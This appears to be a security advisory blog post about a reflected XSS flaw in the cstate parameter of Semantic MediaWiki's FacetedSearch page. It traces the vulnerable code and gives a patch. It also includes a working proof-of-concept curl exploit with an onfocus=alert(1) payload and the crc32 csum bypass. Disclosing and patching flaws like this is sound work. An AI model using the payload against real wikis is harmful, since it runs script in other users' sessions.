Listen to this Post
CVE-2025-10354 is a reflected XSS issue in Semantic MediaWiki Special:FacetedSearch.
The original flaw involved the q query parameter.
The q value was rendered into an HTML attribute.
The attribute context was value=”{{q}}”.
Without escaping, quote characters could break out.
The published hardening escaped q before output.
Commit 3d675ce changed HtmlBuilder.php.
It used htmlspecialchars( $urlArgs->get( ‘q’, ” ) ).
That change protected the q rendering path.
It did not protect the adjacent cstate rendering path.
cstate values are still concatenated into $hidden.
The loop is foreach ( $urlArgs->getArray( ‘cstate’ ) as $key => $value ).
Each key and value is placed into an input hidden element.
The construction occurs in src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php.
The vulnerable sink is lines 131-133.
The resulting fragment is passed as hidden to the template.
templates/FacetedSearch/search.mustache line 25 renders {{{hidden}}}.
Triple braces mean no HTML escaping at that boundary.
Therefore cstate can inject raw markup into the form.
ParametersProcessor::checkRequest() gates cstate survival.
cstate is cleared when filtered != 1.
It is also cleared when getInt(‘csum’, 0) != crc32(getVal(‘q’, ”)).
An attacker can satisfy the gate with csum=crc32(q).
Alternatively, filtered=1 can be supplied.
SpecialFacetedSearch::execute() builds UrlArgs from request values.
It calls ParametersProcessor::checkRequest($request).
Then HtmlBuilder::buildHTML() iterates cstate entries.
The unescaped cstate data reaches the raw template insertion point.
This creates a distinct reflected-XSS lane residual to CVE-2025-10354.
The proposed severity is MEDIUM.
DailyCVE Form:
Platform: Semantic MediaWiki
Version: 7.2.0 master HEAD
Vulnerability : Reflected XSS cstate
Severity: Medium
date: Not provided
Prediction: No patch date
(end of form)
What Undercode Say:
Analytics:
git clone https://github.com/SemanticMediaWiki/SemanticMediaWiki.git cd SemanticMediaWiki git checkout 18f418b4cdf2875e67a741349179a22c1573f61c grep -n "cstate" src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php sed -n '131,133p' src/MediaWiki/Specials/FacetedSearch/HtmlBuilder.php sed -n '25p' templates/FacetedSearch/search.mustache
foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
$hidden .= '<input name="cstate[' . $key . ']" type="hidden" value="' . $value . '">';
}
{{{hidden}}}
<input name="cstate[bash]" type="hidden" value="x" autofocus onfocus=alert(1) x">
Exploit: (Educational Purposes!)
q="Text"
csum=$(python3 -c 'import zlib; print(zlib.crc32(b"Text") & 0xffffffff)')
payload='x" autofocus onfocus=alert(1) x"'
curl -G "http://wiki.example/index.php" \
--data-urlencode "=Special:FacetedSearch" \
--data-urlencode "q=${q}" \
--data-urlencode "csum=${csum}" \
--data-urlencode "cstate[bash]=${payload}"
Protection: from this CVE
foreach ( $urlArgs->getArray( 'cstate' ) as $key => $value ) {
$safeKey = htmlspecialchars( (string)$key, ENT_QUOTES, 'UTF-8' );
$safeValue = htmlspecialchars( (string)$value, ENT_QUOTES, 'UTF-8' );
$hidden .= '<input name="cstate[' . $safeKey . ']" type="hidden" value="' . $safeValue . '">';
}
Impact:
Remote attacker can send HTTP requests.
No authentication required.
Victim must load crafted URL.
Reflected XSS executes in wiki origin.
Can affect other users.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Proposed severity: MEDIUM.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
